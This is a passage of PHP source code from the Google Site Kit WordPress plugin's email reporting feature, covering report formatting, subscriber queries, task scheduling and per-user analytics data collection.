$event_label = sprintf( /* translators: %s: Event name (e.g., "Purchase") */ __( '“%s“ events', 'google-site-kit' ), ucfirst( $data['event_name'] ) ); $lines[] = self::format_metric( $event_label, $data['value'] ?? '', $data['change'] ?? null ); } // Top traffic channel. if ( ! empty( $data['dimension'] ) && ! empty( $data['dimension_value'] ) ) { $lines[] = sprintf( '%s: %s', __( 'Top traffic channel driving the most conversions', 'google-site-kit' ), $data['dimension_value'] ); } $lines[] = ''; return implode( "\n", $lines ); } /** * Formats the metrics section (e.g., visitors). * * @since 1.170.0 * * @param array $section Section configuration. * @return string Formatted section text. */ protected static function format_metrics_section( $section ) { $output = self::format_section_heading( $section['title'] ); $section_parts = $section['section_parts']; // Get change context from first part. $first_part = reset( $section_parts ); if ( ! empty( $first_part['data']['change_context'] ) ) { $output .= $first_part['data']['change_context'] . "\n\n"; } foreach ( $section_parts as $part_key => $part_config ) { if ( empty( $part_config['data'] ) ) { continue; } $data = $part_config['data']; $output .= self::format_metric( $data['label'] ?? '', $data['value'] ?? '', $data['change'] ?? null ); $output .= "\n"; } return $output . "\n"; } /** * Formats the page metrics section (e.g., traffic sources, top pages). * * @since 1.170.0 * * @param array $section Section configuration. * @return string Formatted section text. */ protected static function format_page_metrics_section( $section ) { $output = self::format_section_heading( $section['title'] ); $section_parts = $section['section_parts']; foreach ( $section_parts as $part_key => $part_config ) { if ( empty( $part_config['data'] ) ) { continue; } $data = $part_config['data']; $part_label = Sections_Map::get_part_label( $part_key ); // Part heading. $output .= $part_label . "\n"; $output .= str_repeat( '-', mb_strlen( $part_label ) ) . "\n"; // Change context. if ( ! empty( $data['change_context'] ) ) { $output .= $data['change_context'] . "\n"; } // Dimension values (list items). if ( ! empty( $data['dimension_values'] ) && is_array( $data['dimension_values'] ) ) { foreach ( $data['dimension_values'] as $index => $item ) { $label = is_array( $item ) ? ( $item['label'] ?? '' ) : $item; $url = is_array( $item ) ? ( $item['url'] ?? '' ) : ''; $value = $data['values'][ $index ] ?? ''; $change = $data['changes'][ $index ] ?? null; $output .= self::format_page_row( $label, $value, $change, $url ) . "\n"; } } $output .= "\n"; } return $output; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Subscribed_Users_Query * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\User\Email_Reporting_Settings as User_Email_Reporting_Settings; use WP_User_Query; /** * Retrieves users subscribed to email reports for a given frequency. * * @since 1.167.0 * @access private * @ignore */ class Subscribed_Users_Query { /** * User email reporting settings. * * @var User_Email_Reporting_Settings */ private $email_reporting_settings; /** * Modules manager instance. * * @var Modules */ private $modules; /** * Constructor. * * @since 1.167.0 * * @param User_Email_Reporting_Settings $email_reporting_settings User settings instance. * @param Modules $modules Modules instance. */ public function __construct( User_Email_Reporting_Settings $email_reporting_settings, Modules $modules ) { $this->email_reporting_settings = $email_reporting_settings; $this->modules = $modules; } /** * Retrieves user IDs subscribed for a given frequency. * * @since 1.167.0 * * @param string $frequency Frequency slug. * @return int[] List of user IDs. */ public function for_frequency( $frequency ) { $meta_key = $this->email_reporting_settings->get_meta_key(); $user_ids = array_merge( $this->query_admins( $meta_key ), $this->query_shared_roles( $meta_key ) ); $user_ids = array_unique( array_map( 'intval', $user_ids ) ); return $this->filter_subscribed_user_ids( $user_ids, $frequency, $meta_key ); } /** * Queries administrators with the email reporting meta set. * * @since 1.167.0 * * @param string $meta_key User meta key. * @return int[] User IDs. */ private function query_admins( $meta_key ) { $query = new WP_User_Query( array( 'role' => 'administrator', 'fields' => 'ID', 'meta_query' => array( $this->get_meta_clause( $meta_key ) ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query ) ); return $query->get_results(); } /** * Queries shared role users with the email reporting meta set. * * @since 1.167.0 * * @param string $meta_key User meta key. * @return int[] User IDs. */ private function query_shared_roles( $meta_key ) { $shared_roles = $this->modules->get_module_sharing_settings()->get_all_shared_roles(); if ( empty( $shared_roles ) ) { return array(); } $query = new WP_User_Query( array( 'role__in' => array_values( array_unique( $shared_roles ) ), 'fields' => 'ID', 'meta_query' => array( $this->get_meta_clause( $meta_key ) ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query ) ); return $query->get_results(); } /** * Filters user IDs by subscription meta values. * * @since 1.167.0 * * @param int[] $user_ids Candidate user IDs. * @param string $frequency Target frequency. * @param string $meta_key User meta key. * @return int[] Filtered user IDs. */ private function filter_subscribed_user_ids( $user_ids, $frequency, $meta_key ) { $filtered = array(); foreach ( $user_ids as $user_id ) { $settings = get_user_meta( $user_id, $meta_key, true ); if ( ! is_array( $settings ) || empty( $settings['subscribed'] ) ) { continue; } $user_frequency = isset( $settings['frequency'] ) ? (string) $settings['frequency'] : User_Email_Reporting_Settings::FREQUENCY_WEEKLY; if ( $user_frequency !== $frequency ) { continue; } $filtered[] = (int) $user_id; } return array_values( $filtered ); } /** * Builds the meta query clause to ensure the subscription meta exists. * * @since 1.167.0 * * @param string $meta_key Meta key. * @return array Meta query clause. */ private function get_meta_clause( $meta_key ) { return array( 'key' => $meta_key, 'compare' => 'EXISTS', ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Reporting * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Email\Email; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Email_Reporting_Settings as User_Email_Reporting_Settings; use Google\Site_Kit\Modules\Analytics_4; /** * Base class for Email Reporting feature. * * @since 1.162.0 * @access private * @ignore */ class Email_Reporting { /** * Context instance. * * @since 1.162.0 * @var Context */ protected $context; /** * Options instance. * * @since 1.167.0 * @var Options */ protected $options; /** * Modules instance. * * @since 1.167.0 * @var Modules */ protected $modules; /** * Authentication instance. * * @since 1.168.0 * @var Authentication */ protected $authentication; /** * Email_Reporting_Settings instance. * * @since 1.162.0 * @var Email_Reporting_Settings */ protected $settings; /** * User_Options instance. * * @since 1.166.0 * @var User_Options */ protected $user_options; /** * User_Email_Reporting_Settings instance. * * @since 1.166.0 * @var User_Email_Reporting_Settings */ protected $user_settings; /** * Was_Analytics_4_Connected instance. * * @since 1.168.0 * @var Was_Analytics_4_Connected */ protected $was_analytics_4_connected; /** * REST_Email_Reporting_Controller instance. * * @since 1.162.0 * @var REST_Email_Reporting_Controller */ protected $rest_controller; /** * Email_Log instance. * * @since 1.166.0 * @var Email_Log */ protected $email_log; /** * Email_Log_Cleanup instance. * * @since 1.167.0 * @var Email_Log_Cleanup */ protected $email_log_cleanup; /** * Scheduler instance. * * @since 1.167.0 * @var Email_Reporting_Scheduler */ protected $scheduler; /** * Initiator task instance. * * @since 1.167.0 * @var Initiator_Task */ protected $initiator_task; /** * Monitor task instance. * * @since 1.167.0 * @var Monitor_Task */ protected $monitor_task; /** * Worker task instance. * * @since 1.167.0 * @var Worker_Task */ protected $worker_task; /** * Fallback task instance. * * @since 1.168.0 * @var Fallback_Task */ protected $fallback_task; /** * Email reporting data requests instance. * * @since 1.168.0 * @var Email_Reporting_Data_Requests */ protected $data_requests; /** * Constructor. * * @since 1.162.0 * @since 1.168.0 Added authentication dependency. * * @param Context $context Plugin context. * @param Modules $modules Modules instance. * @param Email_Reporting_Data_Requests $data_requests Email reporting data requests. * @param Authentication $authentication Authentication instance. * @param Options|null $options Optional. Options instance. Default is a new instance. * @param User_Options|null $user_options Optional. User options instance. Default is a new instance. */ public function __construct( Context $context, Modules $modules, Email_Reporting_Data_Requests $data_requests, Authentication $authentication, ?Options $options = null, ?User_Options $user_options = null ) { $this->context = $context; $this->modules = $modules; $this->data_requests = $data_requests; $this->authentication = $authentication; $this->options = $options ?: new Options( $this->context ); $this->user_options = $user_options ?: new User_Options( $this->context ); $this->settings = new Email_Reporting_Settings( $this->options ); $this->user_settings = new User_Email_Reporting_Settings( $this->user_options ); $this->was_analytics_4_connected = new Was_Analytics_4_Connected( $this->options ); $frequency_planner = new Frequency_Planner(); $subscribed_users_query = new Subscribed_Users_Query( $this->user_settings, $this->modules ); $max_execution_limiter = new Max_Execution_Limiter( (int) ini_get( 'max_execution_time' ) ); $batch_query = new Email_Log_Batch_Query(); $email_sender = new Email(); $section_builder = new Email_Report_Section_Builder( $this->context ); $template_formatter = new Email_Template_Formatter( $this->context, $section_builder ); $template_renderer_factory = new Email_Template_Renderer_Factory( $this->context ); $report_sender = new Email_Report_Sender( $template_renderer_factory, $email_sender ); $log_processor = new Email_Log_Processor( $batch_query, $this->data_requests, $template_formatter, $report_sender ); $this->rest_controller = new REST_Email_Reporting_Controller( $this->settings, $this->was_analytics_4_connected, $this->modules, $this->user_options, $this->user_settings ); $this->email_log = new Email_Log( $this->context ); $this->scheduler = new Email_Reporting_Scheduler( $frequency_planner ); $this->initiator_task = new Initiator_Task( $this->scheduler, $subscribed_users_query ); $this->worker_task = new Worker_Task( $max_execution_limiter, $batch_query, $this->scheduler, $log_processor ); $this->fallback_task = new Fallback_Task( $batch_query, $this->scheduler, $this->worker_task ); $this->monitor_task = new Monitor_Task( $this->scheduler, $this->settings ); $this->email_log_cleanup = new Email_Log_Cleanup( $this->settings ); } /** * Registers functionality through WordPress hooks. * * @since 1.162.0 */ public function register() { $this->settings->register(); $this->rest_controller->register(); // Register WP admin pointer for Email Reporting onboarding. ( new Email_Reporting_Pointer( $this->context, $this->user_options, $this->user_settings ) )->register(); $this->email_log->register(); $this->scheduler->register(); add_action( 'googlesitekit_deactivate_module', function ( $slug ) { if ( Analytics_4::MODULE_SLUG === $slug ) { $this->was_analytics_4_connected->set( true ); } } ); // Schedule events only if authentication is completed and email reporting is enabled. // Otherwise events are being scheduled as soon as the plugin is activated. if ( $this->authentication->is_setup_completed() && $this->settings->is_email_reporting_enabled() ) { $this->scheduler->schedule_initiator_events(); $this->scheduler->schedule_monitor(); $this->scheduler->schedule_cleanup(); add_action( Email_Reporting_Scheduler::ACTION_INITIATOR, array( $this->initiator_task, 'handle_callback_action' ), 10, 1 ); add_action( Email_Reporting_Scheduler::ACTION_MONITOR, array( $this->monitor_task, 'handle_monitor_action' ) ); add_action( Email_Reporting_Scheduler::ACTION_WORKER, array( $this->worker_task, 'handle_callback_action' ), 10, 3 ); add_action( Email_Reporting_Scheduler::ACTION_FALLBACK, array( $this->fallback_task, 'handle_fallback_action' ), 10, 3 ); add_action( Email_Reporting_Scheduler::ACTION_CLEANUP, array( $this->email_log_cleanup, 'handle_cleanup_action' ) ); } else { $this->scheduler->unschedule_all(); } $this->settings->on_change( function ( $old_value, $new_value ) { $was_enabled = (bool) $old_value['enabled']; $is_enabled = (bool) $new_value['enabled']; if ( $is_enabled && ! $was_enabled ) { $this->scheduler->schedule_initiator_events(); $this->scheduler->schedule_monitor(); $this->scheduler->schedule_cleanup(); return; } if ( ! $is_enabled && $was_enabled ) { $this->scheduler->unschedule_all(); } } ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Eligible_Subscribers_Query * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2026 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\Authentication\Clients\OAuth_Client; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Storage\User_Options; use WP_User_Query; /** * Retrieves users eligible for email reporting invitations. * * @since 1.170.0 * @access private * @ignore */ class Eligible_Subscribers_Query { const QUERY_LIMIT = 1000; /** * User options instance. * * @var User_Options */ private $user_options; /** * Modules manager instance. * * @var Modules */ private $modules; /** * Constructor. * * @since 1.170.0 * * @param Modules $modules Modules instance. * @param User_Options $user_options User options instance. */ public function __construct( Modules $modules, User_Options $user_options ) { $this->modules = $modules; $this->user_options = $user_options; } /** * Retrieves users eligible for email reporting invitations. * * @since 1.170.0 * * @param int $exclude_user_id User ID to exclude. * @return \WP_User[] List of eligible users. */ public function get_eligible_users( $exclude_user_id ) { $exclude_user_id = (int) $exclude_user_id; if ( ! $exclude_user_id ) { $exclude_user_id = (int) get_current_user_id(); } $excluded_user_ids = $exclude_user_id ? array( $exclude_user_id ) : array(); $eligible_users = array(); foreach ( $this->query_admins( $excluded_user_ids ) as $user ) { $eligible_users[ $user->ID ] = $user; } foreach ( $this->query_shared_roles( $excluded_user_ids ) as $user ) { $eligible_users[ $user->ID ] = $user; } return array_values( $eligible_users ); } /** * Queries Site Kit administrators. * * @since 1.170.0 * * @param int[] $excluded_user_ids User IDs to exclude. * @return \WP_User[] List of admin users. */ private function query_admins( $excluded_user_ids ) { $meta_key = $this->user_options->get_meta_key( OAuth_Client::OPTION_ACCESS_TOKEN ); $query = new WP_User_Query( array( 'role' => 'administrator', 'number' => self::QUERY_LIMIT, 'count_total' => false, 'exclude' => $excluded_user_ids, // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude -- excluding the requesting user from eligibility results. // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Limit to Site Kit authenticated administrators. 'meta_query' => array( array( 'key' => $meta_key, 'compare' => 'EXISTS', ), ), ) ); return $query->get_results(); } /** * Queries users with shared roles. * * @since 1.170.0 * * @param int[] $excluded_user_ids User IDs to exclude. * @return \WP_User[] List of users with shared roles. */ private function query_shared_roles( $excluded_user_ids ) { $shared_roles = $this->modules->get_module_sharing_settings()->get_all_shared_roles(); if ( empty( $shared_roles ) ) { return array(); } $query = new WP_User_Query( array( 'role__in' => array_values( array_unique( $shared_roles ) ), 'number' => self::QUERY_LIMIT, 'count_total' => false, 'exclude' => $excluded_user_ids, // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude -- excluding the requesting user from eligibility results. ) ); return $query->get_results(); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Reporting_Data_Requests * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Conversion_Tracking\Conversion_Tracking; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Storage\Transients; use Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Search_Console; use Google\Site_Kit\Modules\AdSense\Email_Reporting\Report_Options as AdSense_Report_Options; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Options as Analytics_4_Report_Options; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Request_Assembler as Analytics_4_Report_Request_Assembler; use Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Options as Search_Console_Report_Options; use Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Request_Assembler as Search_Console_Report_Request_Assembler; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings as Module_Audience_Settings; use Google\Site_Kit\Modules\Analytics_4\Custom_Dimensions_Data_Available; use WP_Error; use WP_User; /** * Handles per-user email reporting data requests. * * @since 1.168.0 * @access private * @ignore */ class Email_Reporting_Data_Requests { /** * Modules instance. * * @since 1.168.0 * @var Modules */ private $modules; /** * User options instance. * * @since 1.168.0 * @var User_Options */ private $user_options; /** * Plugin context instance. * * @since 1.168.0 * @var Context */ private $context; /** * Conversion tracking instance. * * @since 1.168.0 * @var Conversion_Tracking */ private $conversion_tracking; /** * Module audience settings instance. * * @since 1.168.0 * @var Module_Audience_Settings */ private $audience_settings; /** * Custom dimensions availability helper. * * @since 1.168.0 * @var Custom_Dimensions_Data_Available */ private $custom_dimensions_data_available; /** * Constructor. * * @since 1.168.0 * * @param Context $context Plugin context. * @param Modules $modules Modules instance. * @param Conversion_Tracking $conversion_tracking Conversion tracking instance. * @param Transients $transients Transients instance. * @param User_Options|null $user_options Optional. User options instance. Default new instance. */ public function __construct( Context $context, Modules $modules, Conversion_Tracking $conversion_tracking, Transients $transients, ?User_Options $user_options = null ) { $this->context = $context; $this->modules = $modules; $this->user_options = $user_options ?: new User_Options( $this->context ); $this->conversion_tracking = $conversion_tracking; $this->audience_settings = new Module_Audience_Settings( new Options( $this->context ) ); $this->custom_dimensions_data_available = new Custom_Dimensions_Data_Available( $transients ); } /** * Gets the raw payload for a specific user. * * @since 1.168.0 * * @param int $user_id User ID. * @param array $date_range Date range array. * @return array|WP_Error Array of payloads keyed by section part identifiers or WP_Error. */ public function get_user_payload( $user_id, $date_range ) { $user_id = (int) $user_id; $user = get_user_by( 'id', $user_id ); if ( ! $user instanceof WP_User ) { return new WP_Error( 'invalid_email_reporting_user', __( 'Invalid user for email reporting data.', 'google-site-kit' ) ); } if ( empty( $date_range['startDate'] ) || empty( $date_range['endDate'] ) ) { return new WP_Error( 'invalid_email_reporting_date_range', __( 'Email reporting date range must include start and end dates.', 'google-site-kit' ) ); } $active_modules = $this->modules->get_active_modules(); $available_modules = $this->filter_modules_for_user( $active_modules, $user ); if ( empty( $available_modules ) ) { return array(); } $previous_user_id = get_current_user_id(); $restore_user_options = $this->user_options->switch_user( $user_id ); wp_set_current_user( $user_id ); // Collect payloads while impersonating the target user. Finally executes even // when returning, so we restore user context on both success and unexpected throws. try { return $this->collect_payloads( $available_modules, $date_range ); } finally { if ( is_callable( $restore_user_options ) ) { $restore_user_options(); } wp_set_current_user( $previous_user_id ); } } /** * Collects payloads for the allowed modules. * * @since 1.168.0 * * @param array $modules Allowed modules. * @param array $date_range Date range payload. * @return array|WP_Error Flat section payload map or WP_Error from a failing module. */ private function collect_payloads( array $modules, array $date_range ) { $payload = array(); foreach ( $modules as $slug => $module ) { if ( Analytics_4::MODULE_SLUG === $slug ) { $result = $this->collect_analytics_payloads( $module, $date_range ); } elseif ( Search_Console::MODULE_SLUG === $slug ) { $result = $this->collect_search_console_payloads( $module, $date_range ); } elseif ( AdSense::MODULE_SLUG === $slug ) { $result = $this->collect_adsense_payloads( $module, $date_range ); } else { continue; } if ( is_wp_error( $result ) ) { return $result; } if ( empty( $result ) ) { continue; } $payload[ $slug ] = $result; } return $payload; } /** * Collects Analytics 4 payloads keyed by section-part identifiers. * * @since 1.168.0 * * @param object $module Module instance. * @param array $date_range Date range payload. * @return array|WP_Error Analytics payloads or WP_Error from module call. */ private function collect_analytics_payloads( $module, $date_range ) { $report_options = new Analytics_4_Report_Options( $date_range, array(), $this->context ); $settings = $module->get_settings()->get(); $report_options->set_conversion_events( $settings['detectedEvents'] ?? array() ); $report_options->set_audience_segmentation_enabled( $this->is_audience_segmentation_enabled() ); $report_options->set_custom_dimension_availability( array( Analytics_4::CUSTOM_DIMENSION_POST_AUTHOR => $this->has_custom_dimension_data( Analytics_4::CUSTOM_DIMENSION_POST_AUTHOR ), Analytics_4::CUSTOM_DIMENSION_POST_CATEGORIES => $this->has_custom_dimension_data( Analytics_4::CUSTOM_DIMENSION_POST_CATEGORIES ), ) ); $request_assembler = new Analytics_4_Report_Request_Assembler( $report_options ); list( $requests, $custom_titles ) = $request_assembler->build_requests(); $payload = $this->collect_batch_reports( $module, $requests ); if ( isset( $custom_titles ) && is_array( $payload ) ) { foreach ( $custom_titles as $request_key => $display_name ) { if ( isset( $payload[ $request_key ] ) && is_array( $payload[ $request_key ] ) ) { $payload[ $request_key ]['title'] = $display_name; } } } return $payload; } /** * Collects Search Console payloads keyed by section-part identifiers. * * @since 1.168.0 * * @param object $module Module instance. * @param array $date_range Date range payload. * @return array|WP_Error Search Console payloads or WP_Error from module call. */ private function collect_search_console_payloads( $module, $date_range ) { $report_options = new Search_Console_Report_Options( $date_range ); $request_assembler = new Search_Console_Report_Request_Assembler( $report_options ); list( $requests, $request_map ) = $request_assembler->build_requests(); $response = $module->set_data( 'searchanalytics-batch', array( 'requests' => $requests, ) ); if ( is_wp_error( $response ) ) { return $response; } return $request_assembler->map_responses( $response, $request_map ); } /** * Collects AdSense payloads keyed by section-part identifiers. * * @since 1.168.0 * * @param object $module Module instance. * @param array $date_range Date range payload. * @return array|WP_Error AdSense payload or WP_Error from module call. */ private function collect_adsense_payloads( $module, array $date_range ) { $account_id = $this->get_adsense_account_id( $module ); $report_options = new AdSense_Report_Options( $date_range, array(), $account_id ); $response = $module->get_data( 'report', $report_options->get_total_earnings_options() ); if ( is_wp_error( $response ) ) { return $response; } return array( 'total_earnings' => $response, ); } /** * Filters modules to those accessible to the provided user. * * @since 1.168.0 * * @param array $modules Active modules. * @param WP_User $user Target user. * @return array Filtered modules. */ private function filter_modules_for_user( array $modules, WP_User $user ) { $allowed = array(); $user_roles = (array) $user->roles; $sharing_settings = $this->modules->get_module_sharing_settings(); foreach ( $modules as $slug => $module ) { if ( ! $module->is_connected() || $module->is_recoverable() ) { continue; } if ( user_can( $user, Permissions::MANAGE_OPTIONS ) ) { $allowed[ $slug ] = $module; continue; } $shared_roles = $sharing_settings->get_shared_roles( $slug ); if ( empty( $shared_roles ) ) { continue; } if ( empty( array_intersect( $user_roles, $shared_roles ) ) ) { continue; } $allowed[ $slug ] = $module; } return $allowed; } /** * Gets the connected AdSense account ID if available. * * @since 1.168.0 * * @param object $module Module instance. * @return string Account ID or empty string if unavailable. */ private function get_adsense_account_id( $module ) { if ( ! method_exists( $module, 'get_settings' ) ) { return ''; } $settings = $module->get_settings(); if ( ! is_object( $settings ) || ! method_exists( $settings, 'get' ) ) { return ''; } $values = $settings->get(); return isset( $values['accountID'] ) ? (string) $values['accountID'] : ''; } /** * Determines whether audience segmentation is enabled. * * @since 1.168.0 * * @return bool True if enabled, false otherwise. */ private function is_audience_segmentation_enabled() { $settings = $this->audience_settings->get(); return ! empty( $settings['audienceSegmentationSetupCompletedBy'] ); } /** * Determines whether data is available for a custom dimension. * * @since 1.168.0 * * @param string $custom_dimension Custom dimension slug. * @return bool True if data is available, false otherwise. */ private function has_custom_dimension_data( $custom_dimension ) { $availability = $this->custom_dimensions_data_available->get_data_availability(); return ! empty( $availability[ $custom_dimension ] ); } /** * Collects Analytics reports in batches of up to five requests. * * @since 1.170.0 * * @param object $module Analytics module instance. * @param array $requests Report request options keyed by payload key. * @return array|WP_Error Payload keyed by request key or WP_Error on failure. */ private function collect_batch_reports( $module, array $requests ) { $payload = array(); $chunks = array_chunk( $requests, 5, true ); foreach ( $chunks as $chunk ) { $request_keys = array_keys( $chunk ); $chunk_request_set = array_values( $chunk ); $response = $module->get_data( 'batch-report', array( 'requests' => $chunk_request_set, ) ); if ( is_wp_error( $response ) ) { return $response; } $reports = $this->normalize_batch_reports( $response ); foreach ( $request_keys as $index => $key ) { if ( isset( $reports[ $index ] ) ) { $payload[ $key ] = $reports[ $index ]; continue; } if ( isset( $reports[ $key ] ) ) { $payload[ $key ] = $reports[ $key ]; continue; } return new WP_Error( 'email_report_batch_incomplete', sprintf( /* translators: %s: Requested report key. */ __( 'Failed to fetch required report: %s.', 'google-site-kit' ), $key ) ); } } return $payload; } /** * Normalizes batch report responses to a numeric-indexed array. * * @since 1.170.0 * * @param mixed $batch_response Batch response from the module. * @return array Normalized reports array. */ private function normalize_batch_reports( $batch_response ) { if ( is_object( $batch_response ) ) { $decoded = json_decode( wp_json_encode( $batch_response ), true ); if ( is_array( $decoded ) ) { $batch_response = $decoded; } } if ( isset( $batch_response['reports'] ) && is_array( $batch_response['reports'] ) ) { return $batch_response['reports']; } if ( is_array( $batch_response ) && ( isset( $batch_response['dimensionHeaders'] ) || isset( $batch_response['metricHeaders'] ) || isset( $batch_response['rows'] ) ) ) { return array( $batch_response ); } if ( wp_is_numeric_array( $batch_response ) ) { return $batch_response; } $reports = array(); if ( is_array( $batch_response ) ) { foreach ( $batch_response as $value ) { if ( is_array( $value ) ) { $reports[] = $value; } } } return $reports; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Report_Payload_Processor * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; /** * Helper class to normalize and process report payloads for email sections. * * @since 1.167.0 * @access private * @ignore */ class Email_Report_Payload_Processor { /** * Processes batch reports into a normalized structure. * * @since 1.167.0 * * @param array $batch_results Raw batch report results. * @param array $report_configs Optional. Additional report config metadata keyed by index. * @return array Processed reports keyed by report identifier. */ public function process_batch_reports( $batch_results, $report_configs = array() ) { $reports = array(); if ( isset( $batch_results['reports'] ) && is_array( $batch_results['reports'] ) ) { $reports = $batch_results['reports']; } elseif ( wp_is_numeric_array( $batch_results ) ) { $reports = $batch_results; } else { foreach ( $batch_results as $value ) { if ( is_array( $value ) ) { $reports[] = $value; } } } if ( empty( $reports ) ) { return array(); } $processed_reports = array(); foreach ( $reports as $index => $report ) { if ( empty( $report ) || ! is_array( $report ) ) { continue; } $report_id = 'report_' . $index; if ( isset( $report_configs[ $index ]['report_id'] ) ) { $report_id = $report_configs[ $index ]['report_id']; } elseif ( isset( $report['reportId'] ) ) { $report_id = $report['reportId']; } $processed_reports[ $report_id ] = $this->process_single_report( $report ); } return $processed_reports; } /** * Compute date range array from meta. * * @since 1.167.0 * * @param array|null $date_range Date meta, must contain startDate/endDate if provided. * @return array|null Date range array. */ public function compute_date_range( $date_range ) { if ( ! is_array( $date_range ) ) { return null; } if ( empty( $date_range['startDate'] ) || empty( $date_range['endDate'] ) ) { return null; } $start = $date_range['startDate']; $end = $date_range['endDate']; $compare_start = null; $compare_end = null; if ( ! empty( $date_range['compareStartDate'] ) && ! empty( $date_range['compareEndDate'] ) ) { $compare_start = $date_range['compareStartDate']; $compare_end = $date_range['compareEndDate']; } // Ensure dates are localized strings (Y-m-d) using site timezone. $timezone = function_exists( 'wp_timezone' ) ? wp_timezone() : null; if ( function_exists( 'wp_date' ) && $timezone ) { $start_timestamp = strtotime( $start ); $end_timestamp = strtotime( $end ); if ( $start_timestamp && $end_timestamp ) { $start = wp_date( 'Y-m-d', $start_timestamp, $timezone ); $end = wp_date( 'Y-m-d', $end_timestamp, $timezone ); } if ( null !== $compare_start && null !== $compare_end ) { $compare_start_timestamp = strtotime( $compare_start ); $compare_end_timestamp = strtotime( $compare_end ); if ( $compare_start_timestamp && $compare_end_timestamp ) { $compare_start = wp_date( 'Y-m-d', $compare_start_timestamp, $timezone ); $compare_end = wp_date( 'Y-m-d', $compare_end_timestamp, $timezone ); } } } $date_range_normalized = array( 'startDate' => $start, 'endDate' => $end, ); if ( null !== $compare_start && null !== $compare_end ) { $date_range_normalized['compareStartDate'] = $compare_start; $date_range_normalized['compareEndDate'] = $compare_end; } return $date_range_normalized; } /** * Processes a single report into a normalized structure. * * @since 1.167.0 * * @param array $report Single report data. * @return array Normalized report data. */ public function process_single_report( $report ) { if ( empty( $report ) ) { return array(); } return array( 'metadata' => $this->extract_report_metadata( $report ), 'totals' => $this->extract_report_totals( $report ), 'rows' => $this->extract_report_rows( $report ), ); } /** * Extracts report metadata (dimensions, metrics, row count). * * @since 1.167.0 * * @param array $report Report payload. * @return array Report metadata. */ public function extract_report_metadata( $report ) { $metadata = array(); if ( ! empty( $report['dimensionHeaders'] ) ) { $metadata['dimensions'] = array(); foreach ( $report['dimensionHeaders'] as $dimension ) { if ( empty( $dimension['name'] ) ) { continue; } $metadata['dimensions'][] = $dimension['name']; } } if ( ! empty( $report['metricHeaders'] ) ) { $metadata['metrics'] = array(); foreach ( $report['metricHeaders'] as $metric ) { if ( empty( $metric['name'] ) ) { continue; } $metadata['metrics'][] = array( 'name' => $metric['name'], 'type' => isset( $metric['type'] ) ? $metric['type'] : 'TYPE_INTEGER', ); } } if ( isset( $report['title'] ) ) { $metadata['title'] = $report['title']; } $metadata['row_count'] = isset( $report['rowCount'] ) ? $report['rowCount'] : 0; return $metadata; } /** * Extracts totals from the report payload. * * @since 1.167.0 * * @param array $report Report payload. * @return array Array of totals keyed by metric name. */ public function extract_report_totals( $report ) { if ( empty( $report['totals'] ) || ! is_array( $report['totals'] ) ) { return array(); } $totals = array(); $metric_headers = isset( $report['metricHeaders'] ) && is_array( $report['metricHeaders'] ) ? $report['metricHeaders'] : array(); foreach ( $report['totals'] as $total_row ) { if ( empty( $total_row['metricValues'] ) || ! is_array( $total_row['metricValues'] ) ) { continue; } $total_values = array(); foreach ( $total_row['metricValues'] as $index => $metric_value ) { $metric_header = $metric_headers[ $index ] ?? array(); $metric_name = $metric_header['name'] ?? sprintf( 'metric_%d', $index ); $value = $metric_value['value'] ?? null; $total_values[ $metric_name ] = $value; } $totals[] = $total_values; } return $totals; } /** * Extracts rows from the report payload into a normalized structure. * * @since 1.167.0 * * @param array $report Report payload. * @return array Processed rows including dimensions and metrics. */ public function extract_report_rows( $report ) { if ( empty( $report['rows'] ) || ! is_array( $report['rows'] ) ) { return array(); } $processed_rows = array(); $dimension_headers = $report['dimensionHeaders'] ?? array(); $metric_headers = $report['metricHeaders'] ?? array(); foreach ( $report['rows'] as $row ) { $processed_row = array(); if ( ! empty( $row['dimensionValues'] ) && is_array( $row['dimensionValues'] ) ) { foreach 